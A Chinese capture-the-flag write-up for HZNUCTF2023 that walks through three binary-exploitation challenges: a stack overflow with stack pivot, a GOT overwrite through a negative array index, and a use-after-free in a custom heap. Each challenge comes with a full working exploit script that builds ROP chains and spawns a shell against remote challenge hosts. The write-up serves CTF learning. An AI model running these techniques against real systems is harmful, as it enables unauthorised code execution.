HZNUCTF2023

发布时间 2023-04-29 17:06:48作者: Tw0^Y

前言

还是要向大师傅们orz,本人太菜了。希望大师傅们可以来指点本菜鸡,让本坤能快点理解wp,QAQ。

easy_rw

查保护,和禁用系统调用

image-20230418194812465

image-20230418194742383

静态分析程序漏洞。程序功能很简单,就是一个栈溢出。但是仅溢出0x28字节,本人思路是先泄露libc,再打一个栈迁移。

image-20230418194915793

exp

from pwncy import *
context(arch = "amd64",log_level ="debug",endian = "little")

p,elf,libc = load("easy_rw",remote_libc = "./libc.so.6",ip_port = "43.142.252.111:10001")
debug(p,'no-tmux',0x00000000004012E0)
read = 0x0000000000401338
migration = 0x404000
puts_plt = elf.plt['puts']
puts_got = elf.got["puts"]
leave_ret = 0x000000000040126f
read_plt = elf.plt["read"]
pop_rbp = 0x00000000004011dd
pop_rdi = 0x00000000004013c3
pop_rsi_15 = 0x00000000004013c1

ru(">> ")
payload = flat(
	{
	0x40: migration + 0x500,
	0x48: read,
	},filler = b"\x00",length = 0x50)
sl(payload)
pause()
ret = 0x4044c0 - 0x8
payload2 = flat({
	0x0: [pop_rdi,puts_got],
	0x10: [puts_plt,pop_rbp],
	0x20: migration + 0x800,
	0x28: read,
	# 0x30: elf.symbols['main'],
	0x40: [ret,leave_ret],
	},filler = b"\x00")
sl(payload2)
log_info("puts_addr")
puts_addr = recv_libc()
pause()
system,binsh,libc_base = local_search("puts",puts_addr,libc)
pop_rsi = libc_base + next(libc.search(asm("pop rsi; ret")))
ret = 0x4044800 - 0x40
payload3 = flat({
	0x0: [pop_rsi,migration  + 0xf00],
	0x10: [read_plt,pop_rdi],
	0x20: migration + 0xf00,
	0x28:puts_plt,
	0x40: migration + 0x800 - 0x40 - 0x8,
	0x48: [pop_rdi,3,leave_ret],
	},filler = b"\x00")
sl(payload3)
itr()

赛后复现

本人确实太菜了,比赛的时候也没能够静下心来,仔细分析程序漏洞。其实赛后看wp复现,感觉也不是那么难,23333.

fibonacci

首先查看程序保护,partial relro保护可以覆写got表,同时开启canary保护。

image-20230429104219772

一个斐波那契数列实现的小程序,其他的函数都是干扰项,真正需要被关注的函数只有add_number这一个函数。可以看到,在这里的输入处,没有对输入的idx进行正负性的检查,导致了一个数组下标溢出,另外strlen的长度检查可以简单的用"\x00"进行绕过,这就导致了任意地址写。

不过想要控制程序流,还需要绕过canary的保护。因此attack的思路就是覆写"__stack_chk_fail@got"绕过canary实现控制rip。

image-20230429104336200

exp

其他就不多说了。nss平台上getshell的时候,打binsh字符串需要手动调一下offset,不知道有没有其他师傅遇到这样的问题。希望能够交流一下。

from pwncy import *

context(arch = "amd64",os = 'linux',log_level = "debug")
p,elf,libc = load("fibonacci",ip_port = "node1.anna.nssctf.cn:28163",remote_libc = "./libc-2.31-x64.so")
def add_number(position,number,choice = 2):
	log_info(position)
	log_info(number)
	sla("Your choice >> ",str(choice))
	sla("which one?",str(position))
	sla("ok,show me ur number",number)
debug(p,'no-tmux',0x40139C)
pop_rdi = 0x401a33
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

add_number(-55,str(ret))

payload1 = flat({
	0x0: [p64(0)] * 11, #length of buf is 64=0x40
	0x58: [pop_rdi,puts_got,puts_plt,main]
	},length = 0x78,filler = b"\x00")
add_number(0,payload1)
puts_addr = recv_libc()
system,binsh,libc_base = local_search("puts",puts_addr,ELF("./libc-2.31-x64.so"))
# system,binsh,libc_base = libc_search("puts",puts_addr)
# pause()

offset =  0x1B75AA - 0x1B7410
target_binsh_addr =  binsh + 0x193
log_info(offset)
payload2 = flat({
	0x0: [p64(0)] * 11,
	0x58: [ret,pop_rdi,target_binsh_addr,system]
	},length = 0x78,filler = b"\x00")

log_addr("target_binsh_addr")
add_number(0,payload2)
itr()
  • 总结一点,就是对于程序和用户的输入输出交互点,需要重点关注一下,很多漏洞都是直接出现在这些地方的。

mheap

程序自实现了一个堆的管理系统,但是对于bin list的申请和释放没有进行严格的检查,导致了存在UAF的漏洞。(但是具体的内存申请、释放的检查真的理解不进去,2333。

在mm_free的自定义free中,很明显只对相邻的chunk进行了pre_inuse 的检查,并没有对bin list进行任何检查,因此可以通过申请chunk来修改pre_inuse位造成UAF漏洞。

另外程序自己写了free_hook钩子,可以打这一点。

image-20230429165538303

ps:没理解,这和抄一遍wp有啥区别,吐槽myself。

exp

from pwncy import *
context(arch = 'amd64',log_level = "debug")
p,elf,libc = load("mheap",ip_port  ="",remote_libc = './libc-2.31-x64.so')
# newcup = *rebase(0x4050)
debug(p,"no-tmux",'pie',0x16A3)
def cmd(choice):
	sla(">>> ",str(choice))
def add(index,size,suggestion):
	cmd(1)
	sla("maybe you know something good,show me plz!\n",str(index))
	sla("ok,the information's size\n",str(size))
	sl(suggestion)

def edit(index,suggestion):
	cmd(2)
	sla('which suggestion?\n',str(index))
	s(suggestion)
def show(index):
	cmd(3)
	sla("maybe u want hack me\n",str(index))

def free(index):
	cmd(4)
	sla("don't lie to me!!!\n",str(index))

#--- use UAF to make double free---
add(0,0x40,b"a")
free(0)
add(1,0x50,b"b")
free(0)
show(0)
heap_addr = u64(ru(b"\x55",drop = False)[-6:].ljust(8,b"\x00")) - 0xb0
log_addr("heap_addr")
edit(0,p64(heap_addr))

add(3,0x70,b"a" * 7)
show(3)
ru(b"a" * 7 + b"\n")
backdoor = u64(r(6).ljust(8,b"\x00"))
log_addr("backdoor")
elf_base = backdoor - elf.sym['backdoor']
free_hook = elf_base + elf.sym["free_hook"]
edit(0,p64(heap_addr + 0x80))
pause()
#---use exist chunk to make fake size
add(4,0x100,p64(0) + p64(0x21) + p64(backdoor) *2)
free(1)
itr()